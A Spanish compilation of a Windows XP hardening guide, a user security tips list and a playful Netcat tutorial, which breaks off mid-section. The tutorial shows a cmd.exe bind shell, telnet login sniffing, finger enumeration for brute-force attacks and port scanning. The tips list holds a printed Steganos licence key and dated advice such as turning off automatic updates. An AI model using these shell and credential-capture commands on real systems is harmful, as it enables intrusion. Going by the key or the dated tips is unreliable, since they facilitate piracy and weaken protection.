Por defecto, los ordenadores con Windows XP Professional que no se conectan a un dominio utilizan un modo de acceso a la red denominado “Compartición simple de archivos”, donde todos los intentos de conexión al ordenador desde la red se convierten en accesos forzados con la cuenta Invitado. Esto supone que el acceso en la red mediante Server Message Blocks (SMB, utilizados para acceso a archivos e impresoras), así como las llamadas a procedimientos remotos (RPC, Remote Procedure Call, utilizados en la mayoría de las herramientas de gestión remota y acceso remoto al registro), solo estarán disponibles para la cuenta Invitado.

En el modelo de Acceso Simple a Archivos, los archivos y carpetas compartidos pueden crearse de manera que el acceso desde la red se haga en modo solo lectura, o alternativamente, con permisos para leer, crear, cambiar y borrar archivos. Simple File Sharing está pensado para usarse en redes domésticas y detrás de un firewall, como el que se incorpora dentro de Windows XP. Si Vd. Está conectado a Internet y no está protegido por un firewall, debe tener presente que cualquier recurso compartido que cree podría ser accedido por cualquier usuario desde Internet.

El modelo clásico de seguridad se utiliza cuando el sistema Windows XP se incorpora a un dominio o cuando se deshabilita Simple File Sharing. En el modelo clásico de seguridad, los usuarios que intentan hacer logon en la máquina local desde la red han de autentificarse como cuentas de usuario propias, no se hacen corresponder con la cuenta de Invitado. De esta manera, los recursos compartidos pueden crearse de modo que solo puedan se accedidos por los grupos y usuarios con los privilegios adecuados.

Utilizar Internet Connection Sharing (ICS) para las conexiones compartidas a Internet
Windows XP ofrece la posibilidad de compartir una única conexión a Internet entre varios ordenadores en una red doméstica o pequeña red empresarial con la función ICS (Internet Connection Sharing). Un ordenador, denominado “Host ICS” conecta directamente a Internet y comparte esa conexión con el resto de los ordenadores de la red. Las máquinas clientes se apoyan en el host ICS para salir a Internet. El uso de ICS refuerza la seguridad de la red porque solo el host ICS es visible desde Internet.

Para activar ICS haga clic con el botón derecho del ratón en una conexión a Internet dentro de la carpeta Conexiones de Red. Haga clic en Propiedades, luego en la solapa Avanzadas y después seleccione el cuadro de opción adecuado.

También puede configurar ICS utilizando el Asistente para Redes Domésticas. Para más información acerca de ICS puede consultar el Centro de Soporte y Ayuda en Windows XP.

Habilitar el Firewall de Conexión a Internet (ICF)
El Firewall de conexión a Internet está diseñado para su uso en casa o en pequeñas redes empresariales y proporciona protección para máquinas Windows XP que se conectan directamente a Internet o para ordenadores y dispositivos conectados al host ICS que está ejecutando este Firewall. El Firewall de Conexión a Internet utiliza un filtrado de paquetes activo, lo que significa que los puertos del firewall se abren dinámicamente solo por el tiempo necesario para permitir el acceso a los servicios que se desea.

Para activar ICF haga click con el botón derecho en una conexión a Internet en Conexiones de Red. Después seleccione Propiedades y la solapa Avanzadas, y finalmente, seleccione la opción correspondiente. También puede configurar ICF usando el Asistente para Configuración de Redes Domésticas. Para más información sobre ICF puede consultar el Centro de Soporte y Ayuda en Windows XP.

Utilizar las políticas de restricción de software
Las políticas de restricción de software ponen a disposición de los administradores un mecanismo basado en directivas que identifica el software que se ejecuta en su dominio y permite controlar la ejecución de dicho software. Mediante políticas de restricción de software un administrador puede prevenir la ejecución no deseada de ciertos programas; esto incluye virus, troyanos y otro software del que se sabe que puede causar problemas cuando se instala. Las políticas de restricción de software pueden utilizarse en una máquina aislada configurando las directivas locales de seguridad. Las políticas de restricción de software también están integradas en Políticas de Grupo y Directorio Activo.

Para más detalles acerca de la creación de políticas de restricción de software recomendamos leer el documento
What’æs New in Security for Windows XP Professional and Windows XP Home Edition white paper.

Utilizar passwords para las cuentas de usuario
Para proteger a los usuarios que no protegen sus cuentas con passwords, las cuentas de usuario de Windows XP Professional sin password solamente pueden iniciar sesión en la consola física del ordenador. Por defecto, las cuentas con passwords en blanco no podrán utilizarse en adelante para acceder remotamente desde la red, o para ninguna otra actividad de validación excepto desde la pantalla de inicio de sesión de la consola física. Por ejemplo, no se puede utilizar el servicio de inicio de sesión secundario (“RunAs”) para ejecutar un programa como un usuario local con password en blanco.

Mediante la asignación de passwords a las cuentas locales se evita la restricción que prohibe hacer logon en la red. Esto permite a las cuentas de usuario acceder a los recursos para los cuales tiene permisos, incluso a través de la red. Por consiguiente, es preferible dejar una cuenta con la password en blanco que asignarle una password fácil de descubrir. Cuando se asignen passwords, asegúrese de que tiene una longitud de nueve caracteres como mínimo, y que incluye al menos un signo de puntuación o un carácter ASCII no imprimible dentro de los primeros siete caracteres.

Precauciones

Si su ordenador no está en una ubicación físicamente segura, se recomienda que asigne passwords a todas las cuentas de usuario locales. De no hacerlo así, cualquiera con acceso físico al ordenador podría fácilmente iniciar sesión utilizando una cuenta que no tiene password. Esto es especialmente importante en el caso de portátiles, que deberán siempre blindarse con passwords difíciles de descubrir para todas sus cuentas locales.

Nota

Esta restricción no se aplica a las cuentas de dominio, ni tampoco a la cuenta local de Invitado. Si la cuenta de Invitado está activada y tiene password en blanco, se le permitirá iniciar sesión y acceder a cualquier recurso con permisos de acceso para la cuenta Invitado.

Si quiere deshabilitar la restricción contra el inicio de sesión en la red sin password, puede hacerlo a través de las Directivas Locales de Seguridad.

Deshabilitar los servicios innecesarios
Después de instalar Windows XP se deben deshabilitar todos aquellos servicios de red que no se necesiten en el ordenador. En particular debe considerarse si su PC necesita servicios de Internet Information Server. Por defecto IIS no se incluye como parte de la instalación normal de Windows XP y únicamente debe instalarse si realmente se necesitan dichos servicios.

Deshabilitar o eliminar las cuentas de usuario innecesarias
Revise la lista de cuentas activas, tanto para usuarios como para programas en el sistema, por medio de la función de Administración de Equipos. Deshabilite las cuentas inactivas de usuario y borre aquellas cuentas que no sean necesarias.

Asegurarse de que la cuenta Invitado está deshabilitada
Esta recomendación solo se aplica a los ordenadores con Windows XP que pertenecen a un dominio, o a máquinas que no utilizan el modelo de Compartición Simple de Archivos.

En sistemas Windows XP Professional que no se conectan a un dominio, los usuarios que intentan abrir sesión desde la red se ven forzados a identificarse como la cuenta Invitado por defecto. Este cambio se ha diseñado para prevenir los intentos maliciosos de acceso a los sistemas desde Internet haciendo login con la cuenta de Administrador local con password en blanco. Para utilizar esta funcionalidad, que es parte del modelo de Compartición Simple de Archivos, la cuenta de Invitado ha de estar activada en todas las máquinas con Windows XP que no se han incorporado a un dominio. Para aquellas que ya pertenecen a un dominio o para la que, sin pertenecer a dominio, han deshabilitado el modelo de Compartición Simple de Archivos, la cuenta local de Invitado debe deshabilitarse. Así se previene la posibilidad de que los usuarios puedan conectarse desde la red usando esta cuenta.

Utilizar políticas de password estrictas
Para proteger a los usuarios que no protegen sus cuentas con passwords, en Windows XP Professional las cuentas sin password únicamente pueden abrir sesión en la consola física del ordenador. Por defecto, las cuentas con passwords en blanco no podrán utilizarse en adelante para acceder remotamente desde la red, o para ninguna otra actividad de validación excepto desde la pantalla de inicio de sesión de la consola física.

Nota

Esta restricción no se aplica a las cuentas de dominio, ni a la cuenta de Invitado local. Si la cuenta de Invitado está activada y tiene password en blanco, se le permitirá abrir sesión y acceder a cualquier recurso al cual se le autorice acceso a la cuenta Invitado.

Utilice la consola de Política Local de Seguridad para reforzar las directivas del sistema para la aceptación de passwords. Microsoft sugiere que se hagan los siguientes cambios:

· Fijar la longitud mínima de la password en 8 caracteres

· Fijar un periodo mínimo de persistencia adecuado a su red (generalmente entre 1 y 7 días)

· Fijar un periodo máximo de vigencia adecuado a su red (generalmente no superior a 42 días)

· Habilitar el mantenimiento de un registro histórico de las passwords (utilizando el botón “recordar passwords”) de al menos 6.


Implantar políticas de bloqueo de cuentas

Windows XP incluye una funcionalidad de bloqueo de cuentas que desactiva una cuenta después de un número de intentos fallidos de inicio de sesión que fija el administrador. Por ejemplo, se puede indicar que se bloquee la cuenta después de 5 ó 10 intentos fallidos, resetear la cuenta no antes de 30 minutos y dejar la situación de bloqueo a “Siempre (hasta que el administrador la desbloquee”). Si es demasiado agresiva, puede considerar la posibilidad de permitir que la cuenta se desbloquee automáticamente después de un cierto tiempo.

Dos son los objetivos más comunes al utilizar los bloqueos de cuentas: el primero, poner de manifiesto que han tenido lugar un cierto número de intentos de abrir sesión con una cuenta utilizando una password no válida. El segundo, proteger las cuentas de usuario ante la posibilidad de intentar abrir sesión mediante ataques con diccionarios de claves o identificación reiterativa. No hay una receta que sea válida para todos los entornos. Considere los valores que más se ajusten a su entorno particular.

Instalar software antivirus y actualizarlo adecuadamente
Una de las iniciativas más importantes a la hora de proteger sistemas informáticos es utilizar software antivirus, y asegurarse de que está correctamente actualizado. Todos los sistemas en Internet, en una intranet corporativa o en una red doméstica deberían llevar instalado software antivirus.

Hay más información sobre seguridad antivirus en Microsoft TechNet Security Web Site.

Mantenerse al día con las últimas actualizaciones de seguridad
La función de Actualización Automática en Windows XP puede detectar automáticamente y descargar los parches de seguridad más recientes desde Microsoft. La función de Actualización Automática te se puede configurar para descargar automáticamente los parches en tareas de segundo plano y pedir permiso al usuario para instalarlos cuando se ha completado la descarga.

Para configurar la Actualización Automática, haga clic en Sistema, dentro del Panel de Control, y seleccione la solapa Actualizaciones Automáticas. Elija la opción de notificación previa para descargar las actualizaciones automáticamente y recibirá notificación cuando estén listas para ser instaladas.

Aparte esto, Microsoft publica boletines de seguridad mediante su Servicio de Notificación de Seguridad. Estos boletines se publican para cualquier producto de Microsoft en el cual se haya encontrado algún problema de seguridad. Cuando estos boletines recomiendan la instalación de algún parche de seguridad, Vd. Debería descargarlo a la mayor brevedad e instalarlo en sus ordenadores.

 

 

 

30 consejos para el usuario de plataformas Windows

 

Fuente: Cyrano

Autor: Cyrano

 

.:: Podes aplicar las opciones mas que te sean útiles, para asi lograr una mayor seguridad, performance
o administración en tu Windows de cada día. ::.

 Básicas para la Seguridad de tu plataforma Windows como usuario conectado a Internet.
 -------------------------------------------------------------------------------------

 1 Actualizar a la última Release ( Edición ) de la última plataforma publicada para usuarios del OS MS-Windows
http://www.microsoft.com ( XP Pro recomendado )ya que es mucho mas estable que sus predecesoras.

 b IMPORTANTE: Es extremadamente peligroso dejar este archivo en XP.
   ( Para mas detalles: http://www.vsantivirus.com/xp-files-del.htm )
   Vayan a C:WindowsPCHEALTHHELPCTRSYSTEMDFS y borren el archivo uplddrvinfo.htm
 
 2 Hacer Update ( Es gratuito ) del sistema http://www.windowsupdate.com visitar ese link y bajarse las actualizaciones
   disponibles - Deshabilitar el sistema de Update automático. Ahorrarás recursos y Microsoft te enviará un mail cuando
   necesites actualizar. ( Ver siguiente punto )

 3 Para estar al día con la seguridad de tu Windows: www.microsoft.com/security suscribirse al boletín de seguridad de
   Microsoft - Envía un mail vacio a: [email protected] y sigue los pasos.
 
 4 Instalar un Firewall Profesional - Los "Pro" tienen la opción de setear el filtrado de protocolos y puertos a gusto de cada
   uno, en cambio el común viene por Default - 
   Zonealarm Plus ( nuevo )  Instalar y configurar completamente, salpimentar a gusto.
   http://download.zonelabs.com/bin/free/zaplus31trial/zaplusSetup3126.exe

 5 Deshabilitar *servicios* inútiles o puertos abiertos desde Services.
   Desde Administración del sistema se deshabilita por ejemplo Netbios,Unpnp,Telnet...
   www.microsoft.com/security

 b Deshabilitar *programas* que se cargan inutilmente desde el inicio con:
   http://www.vtoy.fi/jv16/programs/RegCleaner.exe y mucho mas se puede hacer, pero ojo que manipular el registro y
   no saber, puede tener efectos nocivos para el OS.

 6 Instalar Antivirus, actualizar, configurarlo y escanear, que monitoree actividad maliciosa en background*
    ( * En tiempo real y files que se ejecutan ) e e-mails. 
    Recomendado Norton 2003 www.symantec.com  
 
 7 Instalar Antitroyano, actualizar, configurarlo y escanear, que monitoree en background*. Recomendado The Cleaner
   www.moosoft.com - *Ejecutar TCActive! -
  
 b Suscribirse a: www.eListas.net/lista/virusattack y http://www.vsantivirus.com 

 8 Instalar P.G.P http://www.pgpi.org/products/pgp/versions/freeware/win32/7.0.3/
   Solo el Plugin del Outlook Express y Pgp key management. - Patchearlo luego:
   http://www.pgpi.org/products/pgp/versions/freeware/win32/7.0.3/ Con ello podras encriptar y firmar emails entre amigos,
   ademas de mailearse y que ningun admin de ISP o intruso te lea información importante.

 9 Steganos 4 ( nuevo ) http://www.steganos.com/software/sss4int.exe
   Key: 049-000-132-041-152 - Plataforma de seguridad en español: Disco rígido protegido, borrado seguro,
   esteganografía, bloqueo de pc, codificador/decodificador y administrador de contraseñas.

10 Norton System Works 2003 http://www.symantec.com - Instalar, configurar y dar un service completo -
    One button ckeckup, Ejecutar Norton System Works apretar Begin Scan, abajo a la derecha de la
    pantalla Inicial del programa. Al finalizar: Begin Fix
 

 Básicas p/la Seguridad de la Información en su sistema Windows como usuario conectado.
 --------------------------------------------------------------------------------------

 1 Mails: No ejecutar archivos atachados y tratar de manejarse solo con mails en texto plano, no HTML.
    No contestar mails de desconocidos desde el Outlook
    http://www.microsoft.com/windows/ie/downloads/ie6/default.asp
    ya que damos a conocer nuestra posición en la red a través de la dirección IP.
 
 2 No escribir sobre cosas personales ni dato alguno a desconocidos ( pueden serle utiles para un futuro hackeo )
    http://derecho-internet.org/teoria.php?teoria_id=38 que aparecen por IRC, ICQ, E-Mails, Webchat, Teléfono, en la calle,
    en los sueños...
    Si los das procurate de que sea alguien de confianza y asegurate de que la seguridad de su pc este en buen estado.
    No aceptes archivos en IRC, ICQ, FTPs, URL, de nadie desconocido que pueden ser un backdoor o troyano. 
 
 3 Instruir a la persona "de confianza" ( Cuidado con el hack local mas que nada por empleados desleales o compañeros
    de trabajo ) que le dejes la pc a cargo: Hermanos, empleados, parientes y amigos, coméntale los riesgos poniendolo
    al tanto de estas básicas para que nadie se aproveche de él en la net, más si recién comienza a navegar por la net.
    Educar principalmente a las secretarias, tanto con el telefono como la pc y la data que da de la empresa, su entorno
    o componentes.
 
 4 Elegir buenas contraseñas http://www.cybsec.com/Claves.pdf de mas de 8 dígitos alfanuméricas, no usar por ejemplo
   el mismo login que el password o cosas como nombre de pila o comunes: 123456, " tu birthday " , 111222, "mascota",
   nataliateamo, admin, tu nick... o nombre de hija/o agus32, pablo82, etc 
 
 5 Siempre instalar los programas en modo Custom y no Standar, elegir cada componente a instalar. No instalar
   programas con Spyware, por ejemplo Kazaa y generalmente todos "famosos" freeware Chequear pc con
   Ad-aware http://www.lsfileserv.com/downloads.html  
 
 6 Huir de esos sitios de hosting gratuitos que tienen mp3/hack/sexo/warez/crack/downls
    http://www.freeservers.com todo en uno y mil pop ups. Lo mas probable es que bajes programas troyanizados,
    haya scripts malignos y files con viejos virus.
 
 7 Cambia los passwords de tus sitios, casillas de mails y conexión cada cierto tiempo.
    No solo los administradores de tu ISP ven tus pass día a día, sino mucha gente externa, amigos de los admins
    e intrusos varios y amigos de estos.
    El programa Steganos tiene un agradable y útil administrador de passwords.
 
 8 No entrar a los URLs que te recomiendan desconocidos, es muy facil hacer un "Fake Web" de "downloads" o
   puede ser algun server con Sircam http://www.symantec.com/avcenter/venc/data/[email protected]>
   u otro Worm.  Puede ser tambien un sitio hecho para que bajes algun trojano sin saber o una falsa Gate o portal
   para chequear tu mail de Hotmail o Yahoo, falso obviamente.... o simplemente un link con una falla que te borre
   tu data. ( Ver falla XP en punto 1b )
   En IRC manejese con precaución como asi en los distintos puntos de encuentro donde haya personas
   desconocidas y crean ser "hackers" con lo que ello significa. 

 9 En el caso de que uses: Scripts CGI y servicios como SSH, Openssl, Telnet, Ftp, IIS, Apache por ejemplo,
   actualizalos siempre a la ultima version y configuralos debidamente. Anótate en sus sitios para que te
   avisen de sus fallas y ultima versión...
   Por otro lado no le digas a todo el mundo el sofware que usas ( y saca sus banners de version ) como ser
   los de Servers, antivirus, firewalls...

10 No bajes patches, e-zines, programas, archivos u otra clase de programa de cualquier sitio tipico de *hack*
    ( autenticos lamers molestos y dañinos ) a no ser que sea algun mirror oficial o sitio de origen.
    El 99% de estos sitios, son hechos sacando cosas ( ripeando ) de otros sitios y muchos archivos pueden
   estar con troyanos, corruptos o viejos.( estos desestabilizan a Windows )
   Para bajar programas recomiendo: http://www.wiretapped.net & http://www.tucows.com
   Y para bajar e-zines: http://www.irisonmirror.com/zine-store/index1.htm?

   ººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººº

    Varios:  
    ------

 A: Lista rusa excelente sobre mas de 1000 proxys actualizados http://www.samair.ru/xwww/proxy.htm
    - Chequear que sock usan porque pueden ser servers snifeados. ( Ejemplo: Rooteo un servidor, corro el
   daemon sock, lo snifeo y mando mi aporte de proxy a esa lista para que lo usen. )

 B: Borrar historial de Google, claves y mails de formularios, usuarios y autocompletar:
    Abrir el Explorer, Herramientas, Opciones de Internet, Contenido, Autocompletar, destildar las tres opciones,
luego apretar borrar formularios y borrar contraseñas ( confirmamos ambas ) y por ultimo aceptar.... y listo.

 C: No tengan compartidas carpetas por internet, deshabiliten Netbios. Herramienta para chequear eso y
mucho mas. http://fileforum.betanews.com/detail.php3?fid=1026972320

 D: Para mayor performance de Windows XP vayan a Inicio - Ejecutar: > Ejecutar ( copy & paste )
    %SystemRoot%system32services.msc /s y deshabilitar con click derecho en opciones, todos esos
   servicios remotos y de sistema inutiles que se cargan al principio, mirar BIEN lo que se cambia y anotar.
  
 E: Para mayor seguridad de Windows XP vayan a Inicio - Ejecutar: > Ejecutar ( copy & paste )
    %SystemRoot%system32secpol.msc /s y setear a gusto de uno, cada     una de las opciones de
    seguridad detenidamente, mirar BIEN lo que se cambia y anotar.

 F: Si el XP te funciona lento, se resetea sola o te consume el rigido y no sabes porqué, podes: Deshabilitar
Restaurar Sistema ( tildando Desactivar desde Propiedades de sistema ), destildar Resetear
( de Inicio y Recuperacion ) y defragmentar completo.

 G: Porque usar IE y Outlook ? aqui hay otras opciones que valen la pena probar:
    http://kmeleon.sourceforge.net/download.php    [ Browser ]
    http://www.ritlabs.com/the_bat/                        [ Mail Client ]


   ººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººººº
 
   Fin & reflexiones encontradas.
  
  
   Por mas que el sistema sea un asco, el administrador y su trabajo volcado el, tienen el mérito de la
   funcionalidad y producción del mismo.Mientras, la versatilidad del sistema operativo cuenta en
   medida a la funcion para el que se lo destine... por ejemplo: mi hermanita si necesita la pc para
   el colegio no le voy a decir "instalate FreeBSD y desarrolla tus aplicaciones", le doy el cd de
   Win98 y asunto arreglado.
   Hay varios factores a tener en cuenta para el producto final:
   El usuario, su capacidad junto a su motivacion, el OS, el trabajo a realizar y el hardware.
   Asi que lo mas beneficioso que pueden hacer es, una buena eleccion acorde a lo que quieran llegar a
   realizar y administrarlo lo mejor posible, ya que el sistema tiene una incidencia directa en
   el trabajo final. >( tiempo, calidad y presentacion )
   El sistema en si no se autoadministrara, lo unico que puede llegar a hacer por si mismo es: quedar
   obsoleto, liberar su privacidad o entrar en una inestabilidad constante e improductiva.
  
Exitos.

CrN
Fingerprint: 084B EF12 CAF2 5C6A 55FE C778 A38D 8D95 47E3 AEEE
PGP public key
http://pgpkeys.mit.edu | 0x47E3AEEE
Formula for our happiness: a yes, a no, a straight line, a goal.
F.Nietzsche

 

 

 

Netcat

 

Fuente: Kliber

Autor: Kliber

 

Netcat es un pequeño programa creado para uso de los administradores de redes (y por supuesto para los Hackers) :), este proggie fué creado originalmente por Hobbit y porteado a Win95 y NT por Weld Pond de L0pht , tiene mas de un año desde que fué Liberado y muy poco se ha escrito sobre este Programita; Principalmente porque la estructura de sus comandos es poco familiar para el usuario medio. Netcat tiene infinidad de funciones, aunque se deja que sea el usuario quien las averigue :P, y en el archivo de ayuda ponen algunos ejemplitos muy elementales solamente...

La especialidad de NetCat es el Protocolo tcp/ip, y le dá a la máquina de windows, cierto poder sobre este protocolo que solo tenía
UNIX, trabaja con lineas de comandos desde MS-DOS (o desde el Shell de Linux), y según parece, puede hacer casi cualquier cosa sobre TCP/IP. El comando principal es nc con su respectiva variable u opción al mas puro estilo Unix.

Cabe destacar que la información sobre Netcat y sus usos especificos es bastante limitada; aunque Hobbit en su documento aclara muchas cosas, cita algunos ejemplos y dice que NetCat puede ser utilizado para mas de 1001 vainas...

Netcat puede ser encontrado en:
http://www.checksum.org/download/netcat/nc.exe
http://www.l0pht.com/~weld/netcat

Netcat en WinX
==============

Este es el resultado de el comando de ayuda de netcat en una máquina windows

c:>nc -h

connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port] options: -d detach from console, stealth mode

-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

Bien; un analisis rápido de estas variables nos da una idea del potencial de este pequeño programa y las infinitas posibilidades que nos ofrece el poder manejar conecciones de una manera tan básica y sencilla:

<------ Opciones de Netcat --------->
-d (Modo Stealth o encubierto)
Esta opción desvincula al Programa de la consola, haciendolo trabajar en el BackGround.

-e (Ejecuta un programa cuando se conecta)
Puede ser utilizado para ejecutar incluso un Shell tanto en WinX como en *NIX.

-l (Escuchando conecciones)
Deja a un puerto abierto en espera de una conección

-L (lo mismo que anteriormente pero sigue escuchando aún cuando la conección es cerrada)
Esta opción es incluida en la versión de Weld Pond de L0pth, y es muy util para seguir escuchando en el puerto, a diferencia de -l (que la conección cerrada termina con el proceso de nc) esta opción -L permite seguir escuchando en el mismo puerto (la rutina de nc -l es reiniciada).

-n (Dirección numerica especifica; no hace un DNS Lookup) Netcat tiene la facultad de resolver nombres de dominio mediante un DNS Lookup, con esta opción le especificamos que no lo haga, y use solamente direcciones IP.

-o (obtiene un archivo log en Hex de la acción) Genera un Log de las actividades de netcat en código Hexadecimal.

-p (Puerto para pegarse) Algunas veces debes especificarle con esta opción el puerto a realizar una acción.

-s (pegarse a un IP especifico) Netcat puede utilizar IP de una red como fuente local.

-t (Funciona como un pequeño demonio telnet) Con esta opción le especificas a netcat que debe realizar negociaciones telnet.

-u specify UDP (Utilizar Protocolo UDP) Con esta opción le dices a netcat que trabaje con protocolo UDP en vez de TCP.

-v (modo verbose, mas información, se le puede añadir otra -v para mas info todavia) Bastante util y necesario, sobre todo para estudiar demonios en profundidad y observar todos los detalles en un Sniffing.

-w (Especifica un tiempo para terminar) Con esta opción le especificas un tiempo determinado para realizar conecciones.

-r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitar patrones lógicos de Scanning.

-g (especificar Gateways) Una de las opciones más interesantes de netcat, permite utilizar Routers como "puentes" de conección.

-G (Especificar puntos de Routing), Con esta opción podemos crear una cadenaaleatoria de hosts para crear un ruta perdida para tus paquetes (Spoofing).

-i Especifica un intervalo de segundos entre puertos Scaneados.

<------------- Fin de las opciones comentadas ------>

Netcat en Linux
===============

Netcat en una plataforma como Linux se convierte en una utilidad muy potente, pudiendo ser utilizado en conjunto con lenguajes de programación como Perl y C , o bien desde la propia Linea de comandos del poderoso Shell de Linux mediante Shell Scripts.
Cabe destacar que distribuciones como RedHat Linux trae junto con sus paquetes de instalación una versión limitada de netcat; lo mas recomendable es bajar de la red la versión full de netcat para Linux (Importante: La versión de netcat para linux viene a prueba de lamers, por lo cual debemos compilar a netcat con unos flags especiales para poder obtener las opciones -t y -e (Telnet y Gaping Security Hole) ). Bajas el .tar de netcat y lo desempaquetas en el directorio de tu preferencia, te ubicas dentro del directorio de netcat y lo compilas con Make utilizando las siguientes Flags:

[root@DarkStar] #make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE"
Copias el binario (nc) al directorio /usr/bin , de esta manera podras usar netcat directamente llamandolo de cualquier parte del Shell, ademas de que podrás usar los scripts que hagas (o consigas en la red) sin problemas; netcat trae unos scripts muy interesantes y bien comentados para que los estudies y comprendas mejor su implementación en scripts, los scripts están en el directorio donde desempaquetastes netcat en /scripts , los corres como siempre: ./probe (o el script que quieras).

Utilizando Netcat.
=============

Para ilustrar mejor como trabajamos con este programa, lo mejor es observar ejemplos prácticos y analizar su estructura para poder comprender mejor como funciona y así poder crear nuestras propias aplicaciones.

Algunas de las cosas que podemos hacer con NetCat son:
Obtener un Shell rapidamente en una máquina remota usando la opción -l (Listen) conjuntamente con la opción -e (ejecutar) , cuando el proggie corre con estas variables y la conección es realizada, NetCat ejecuta el programa elegido y se conecta a stdin y stdout del programa en la conección a la red.

nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

Este comando dejará a NetCat escuchando el Puerto 23 (telnet) , cuando es conectado a travéz del cliente, ejecutará un Shell (cmd.exe) la opción -t le dice a NetCat que maneje cualquier negociación que el cliente pueda esperar....
Si esta conección es realizada desde una máquina NT, el shell correrá los permisos del proceso que han generado a NetCat (Hmmm...) así que hay que ser muy cuidadosos :)
La belleza de NetCat es que puede hacer lo mismo en CUALQUIER puerto :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, que están probablemente corriendo en la mayoría de las máquinas NT, de esta manera puedes lograr una conección a una máquina que esté utilizando "Filtrado de Puertos" activado en TCP/IP security Network Control Panel, NT no parece tener ninguna seguridad alrededor de cuales puertos los programas de usuarios son permitidos amarrar, esto quiere decir en pocas palabras, ejecutar comandos y programas que puedan unirse a los Puertos NETBIOS.

Como anteriormente se mencionó, puedes utilizar a Netcat para estudiar diferentes puertos, con la siguiente sintaxis:

c:>nc -v (puedes añadir otra -v)
Uno de los puertos mas interesantes a la Hora de Analizar un Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e información muy util a la hora de planear un "Brute-Force Attack", este comandito de Netcat te muestra la Flexibilidad del Proggie en cuestion, dandote una idea de sus posibilidades:

c:>nc -v 79 < user.txt > log.txt
El comando anterior le dice a netcat que se conecte en modo verbose al Host predeterminado en el puerto 79 (Finger) y envie el contenido del archivo user.txt (OJO: no he probado esto con una posible lista de nombre de usuarios al azahar), la respuesta del servicio será guardada en el archivo log.txt

Scanner:
=======

Netcat puede ser utilizado como scanner, sus multiples opciones le permiten realizar un gran número de combinaciones, pudiendo realizar Scannings en Puertos Random, en puertos conocidos, en modo ascendente o descendente, con intervalos de tiempo, utilizando gateways para evitar mostrar la IP fuente del Scanning, etc.

C: c11nt>nc -v -v -z 127.0.0.1 53 25 21
DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK


Pues si; aqui tienen un pequeño y primitivo scanner, se le pueden añadir puertos escogidos como en el ejemplo anterior o asignarle un rango de puertos:

C: c11nt>nc -v -v -z 127.0.0.1 1-53

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused etc...


Volvemos con la opción -v (verbose) y la Opción -z (zero i/o) que es usada para scanning, los puertos se lo especificamos al final del IP del host, bien sea individuales separados por un espacio; o por un rango de puertos.

Sniffer:
======


Otra de las interesante posibilidades de netcat es su capacidad para escuchar conecciones en cualquier puerto, pudiendo redireccionar todo el tráfico del mismo hacia un archivo o hacia pantalla, en este sencillo ejemplo, podemos observar las bases de un sencillo sniffer en Windows:

C: c11nt>nc -v -v -L 127.0.0.1 -p 23

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje!!
puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-]

Tambien podemos redireccionar toda la salida a un archivo e irnos a realizar otras actividades ,ientras netcat hace su trabajo:

C: c11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...

[Aqui viene la conneción...]

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030

[Todo lo que escriba la connección se va al archivo login.txt] sent 0, rcvd 42

[La opción -L permite que netcat escuche nuevamente al terminar la conección, "New Victims Wanted" Hehe!]
DNS fwd/rev mismatch: localhost != darkstar listening on [127.0.0.1] 23 ...



El Exploit-Explained: nc -v -v -L 127.0.0.1 -p 23
---------------------
---
Ejecutamos a Netcat con la opción o variable -v (verbose) (doblemente "verbose" por si acaso) ;) esto hará que el resultado de netcat, sea mostrado directamente en pantalla (a diferencia del archivo usado por Dr._X) , la opción o variable -L (Listen, and listen again) nos permitirá dejar escuchando u "oliendo" en determinado puerto aun cuando la conección sea interrumpida (listen again), con la variable -p le indicamos el puerto...
Al ejecutar a netcat con esa combinación de variables las opción -v me indica en pantalla el Host y el puerto de escucha:

DNS fwd/rev mismatch: localhost != darkstar listening on [any] 23 ...

Realizo desde otra ventana un telnet a localhost (127.0.0.1) en el puerto 23, netcat me informa sobre lo que ocurre en el puerto 23:

DNS fwd/rev mismatch: localhost != darkstar connect to [127.0.0.1] from localhost [127.0.0.1] 1131 login: sniffado

Voilá! un Sniffer en LocalHost! Jajaja!!!

Detector de Conneciones Sospechosas:
====================================

La posibilidad de dejar a netcat escuchando en determinados puertos, nos permite crear una especie de "trampa" para un supuesto agresor que utilize scanners, o herramientas tales como NetBus o BackOrifice en contra de nuestras estaciones. Incluso, podemos crear un archivo que haga un Flood y redireccionar su salida hacia la estación agresora en caso de una conección no autorizada a determinado puerto. (jeje! y se me ocurren un monton de cosas más, Muaahahaha!) :)
Este es un ejemplo de un detector de BO, Je! y funciona! este es un ejemplo real de un dia como cualquier otro en IRC; he aquí el ejemplo:

